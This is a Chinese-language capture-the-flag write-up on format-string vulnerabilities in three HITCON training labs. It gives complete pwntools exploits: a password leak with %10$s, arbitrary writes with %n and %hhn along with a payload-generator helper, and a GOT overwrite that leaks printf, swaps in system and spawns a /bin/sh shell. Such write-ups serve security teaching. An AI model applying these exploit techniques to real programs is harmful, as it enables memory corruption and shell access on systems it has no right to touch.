最近在看格式化字符串漏洞,就做了HITCON-Tranning-Master的lab7~lab9 这几题都是关于格式化字符串漏洞的利用的
lab7:
ida反编译
程序先是打开/dev/urandom 文件,从中取出四个字节作为password,然后要求我们输入name和password
后面有个判断语句 ,如果我们输入的password等于程序从urandom中读取的随机数,就执行system(cat flag)
可以发现它在第20行中存在格式化字符串漏洞,它将格式化字符串交给用户来输入
解题思路:
通过printf函数 将password给泄露出来 然后再输入
- 确定要泄露的地址
通过ida查看password的地址
- 确定相对偏移
格式化字符串是函数的第11个参数 所以相对偏移offset=11-1=10
- 泄露password地址的内容
payload = p32(password) + "#" + "%10$s" + "#"
“#”是为了方便接收泄露的password
exp:
from pwn import*
context.log_level="debug"
p = process('./crack')
p.recv()
payload= p32(0x0804a048) +"#"+"%10$s"+"#"
p.send(payload)
p.recvuntil("#")
data=p.recvuntil("#")
data=u32(data[:4])
p.recv()
p.send(str(data))
p.interactive()
lab8 :
ida反编译
这道题考验我们利用格式化字符串漏洞改写任意地址的内容的能力
程序要求我们输入一串字符串 然后输出这串字符串
后面有一个判断语句 magic==218 和 magic == 0xfaceb00c都可以cat flag
先做将magic覆写为218的做法
- 确定magic地址
-
确定相对偏移
相对偏移为7
payload = p32(magic_add) + "%214c" + "%7$n"
%214c 的作用是输出214个字符
然后做将magic覆写为0xfaceb00c的做法
因为这个转换成数字太大了 ,会超出程序的内存 ,所以不能像之前的那样直接覆写
要借助 格式化字符串的标志 hh 和h
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
“%hhn"可以向地址写入一个字节的内容 "%hn"可以向地址写入两个字节的内容
在这里我用的是hhn
因为数据在内存中是按小端存储的 ,所以向地址依次写入的内容是 \x0c \xb0 \xce \xfa
payload = p32(magic) + p32(magic+1) + p32(magic+2) + p32(magic+3)
payload +=paddnig1 + "%7$hhn" + padding2 + "%8hhn" + padding3 + "%9$hhn" + padding4 + "%10$hhn"
padding可以手算也可以用脚本算
脚本为:
def fmt(prev,word,index):
payload = ''
if word > prev:
temp = word - prev
payload += '%' + str(temp) + 'c'
elif word == prev:
temp = 0
else:
temp = 256 + word - prev
payload += '%' + str(temp) + 'c'
payload += '%'+str(index)+ '$hhn'
return payload
def fmt_start(address,offset,target,size,):
payload=''
if size == 4:
for i in range(4):
payload += p32(address+i)
else:
for i in range(4):
payload += p64(address+i)
prev = len(payload)
for i in range(4):
payload += fmt(prev,(target>>8*i)&0xff,offset+i)
prev = (target >> 8*i)&0xff
return payload
address是我们要覆写的地址 ,offset是相对偏移 ,target是要覆写的值 ,size则表示机器字长
target>>8i的作用是去掉target最后2i位,&0xff的作用是取(target>>8*i)的最低两位
例如 target>>8 ==0xfaceb0 同时 (target>>8) &0xff == 0xb0
exp:
from pwn import*
context.log_level = "debug"
p = process('./craxme')
magic = 0xfaceb00c
target = 0x0804a038
def fmt(prev,word,index):
payload = ''
if word > prev:
temp = word - prev
payload += '%' + str(temp) + 'c'
elif word == prev:
temp = 0
else:
temp = 256 + word - prev#this make sure the lowest 2 byte is word
payload += '%' + str(temp) + 'c'
payload += '%'+str(index)+ '$hhn'
return payload
def fmt_start(address,offset,target,size,):
payload=''
if size == 4:
for i in range(4):
payload += p32(address+i)
else:
for i in range(4):
payload += p64(address+i)
prev = len(payload)
for i in range(4):
payload += fmt(prev,(target>>8*i)&0xff,offset+i)
prev = (target >> 8*i)&0xff
return payload
s= fmt_start(0x0804a038,7,0xfaceb00c,4)
p.recv()
p.send(s)
print p.recv()
p.interactive()
lab9:
关键函数ida反汇编代码
很明显的一个格式化字符串漏洞
题目没有system函数 ,所以我们要做的是 获取system函数的地址 同时调用system来getshell,可以通过泄露printf_got的地址来获取libc在内存中的地址 计算出system函数的地址,然后将printf_got覆盖成system函数的地址 再传入"/bin/sh"来获取shell
但是这题和之前两题有点不同, 它的格式化字符串位于bss段上,不在栈上,所以不能通过上面的方法来泄露
这里我用的地址是:
ebp_1 = 0xffffcfc8 ebp_2=0xffffcfd8
fmt_7 = 0xffffcfcc fmt_11=0xffffcfdc
ebp_1的相对偏移为6 ebp_2的相对偏移为10
这里覆写地址内容主要用到的是 %hn 一次写入两个字节内容
解题思路:
- 通过ebp_1使ebp_2指向fmt_7
- 通过ebp_2将fmt_7处的内容覆盖成printf_got
- 通过ebp_1使ebp_2指向fmt_11
- 通过ebp_2将fmt_11处的内容修改成printf_got+2
- 通过fmt_7将printf_got地址泄露出来
- 计算出system函数的地址 ,将system函数地址写入printf在got表的地址 具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
- 输入"/bin/sh"字符串调用system函数
exp:
from pwn import*
context.log_level="debug"
p = process('./playfmt')
elf=ELF('./playfmt')
lib = ELF('/lib/i386-linux-gnu/libc.so.6')
system_lib = lib.symbols['system']
printf_lib = lib.symbols['printf']
printf_got = elf.got['printf']
p.recv()
log.info("**********leak printf_got************")
payload = "%6$x"
p.sendline(payload)
ebp2_add = int(p.recv(),16)
print ebp2_add
ebp1_add = ebp2_add - 0x10
fmt_7 = ebp2_add - 0xc
fmt_11 = ebp2_add + 4
log.info("printf_got --> [%s]"%hex(elf.got['printf']))
log.info("ebp2_address --> [%s]"%hex(ebp2_add))
log.info("fmt7_address --> [%s]"%hex(fmt_7))
log.info("fmt11_address --> [%s]"%hex(fmt_11))
payload = '%' + str(fmt_7&0xffff)+'c%6$hn'
#ebp2_add --> fmt_7
p.sendline(payload)
p.recv()
#fmt_7 --> printf_got
payload = '%' + str(printf_got&0xffff) + 'c%10$hn\x00'
p.sendline(payload)
p.recv()
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break
#ebp2_add --> fmt_11
payload ='%' + str(fmt_11&0xffff) + 'c%6$hn\x00'
p.sendline(payload)
p.recv()
#fmt_11 --> printf_got + 2
payload = '%' + str((printf_got+2)&0xffff) + 'c%10$hn'
p.send(payload)
p.recv()
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break
payload = 'aaaa%7$s\x00'
p.send(payload)
p.recvuntil("aaaa")
printf_add = u32(p.recv(4))
log.info("print_add --> [%s]"%hex(printf_add))
system_add = printf_add - lib.symbols['printf'] + lib.symbols['system']
pause()
payload = "%" + str(system_add&0xffff) +"c%7$hn"
payload +="%" + str((system_add>>16)-(system_add&0xffff))+"c%11$hn"
p.sendline(payload)
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break
p.send("/bin/sh\x00")
p.interactive()
下面对脚本做点解释
因为pwntool的recv()函数一次最多接受0x1000字节的内容,用%hn这种方式会接收很多字符,单次肯定接收不完,
所以通过发送标志字符串 然后接收查看标志字符串的方式来检查是否接收完,不然的话会卡住
while True:
p.send("zs0zrc\x00")
sleep(0.2)
data = p.recv()
if data.find("zs0zrc")!= -1:
break